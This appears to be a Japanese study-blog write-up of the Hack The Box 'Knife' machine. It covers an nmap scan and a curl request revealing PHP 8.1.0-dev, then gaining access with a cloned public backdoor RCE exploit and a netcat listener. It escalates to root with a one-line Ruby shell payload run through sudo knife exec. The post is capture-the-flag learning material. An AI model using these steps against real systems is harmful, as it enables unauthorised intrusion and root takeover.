家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Knife

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.10.242
Starting Nmap 7.92 ( https://nmap.org ) 
Nmap scan report for 10.10.10.242
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

TCP22,80が開いているようです。

ブラウザでアクセスすると以下のような画面が表示されました。

ブラウザでアクセスした様子

サイト内にはリンクやフォームはなく、ページのソースを見ても使用しているCMS等の情報は見つけられませんでした。また、dirb等からも情報は得られませんでした。

curlコマンドを使用してみると、PHP/8.1.0で構築されていることがわかりました。

┌──(kali㉿kali)-[~]
└─$ curl -v "http://10.10.10.242"                                                           
*   Trying 10.10.10.242:80...
* Connected to 10.10.10.242 (10.10.10.242) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.242
> User-Agent: curl/7.84.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Apache/2.4.41 (Ubuntu)
< X-Powered-By: PHP/8.1.0-dev
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8

PHP8.1.0の脆弱性を調べてみると「‘User-Agentt’ Remote Code Execution」の情報が見つかりました。

アクセス取得

上記で得られた情報をもとにアクセスを取得してみます。

exploitのダウンロード

git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce

 

ncで待ち受けして上記を実行するとアクセスが取得できました。

アクセス取得

 

権限昇格

アクセス取得後に「sudo -l」を実行するとknifeコマンドがroot権限で実行できることがわかりました。

knifeは初めて見るコマンドだったので調べてみました。

knifeとは、Chefに含まれるコマンドラインツールです。

ChefとはアメリカのOpscode社が提供するサーバ設定管理ツールで、同様のツールにはPuppetがあるそうです。

www.creationline.com

 

また、コマンドはrubyで作成されているようで、「knife exec スクリプト名」のように指定するとrubyのスクリプトが実行できるようです。

knifeコマンドの中身

docs.chef.io

スクリプトファイルはtmpディレクトリで作成しました。

echo 'exec "/bin/bash -i"' > config.rb

上記で作成したファイルを指定して、knifeコマンドを実行するとrootが取得できました。

root取得

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

mopenten.com

www.secjuice.com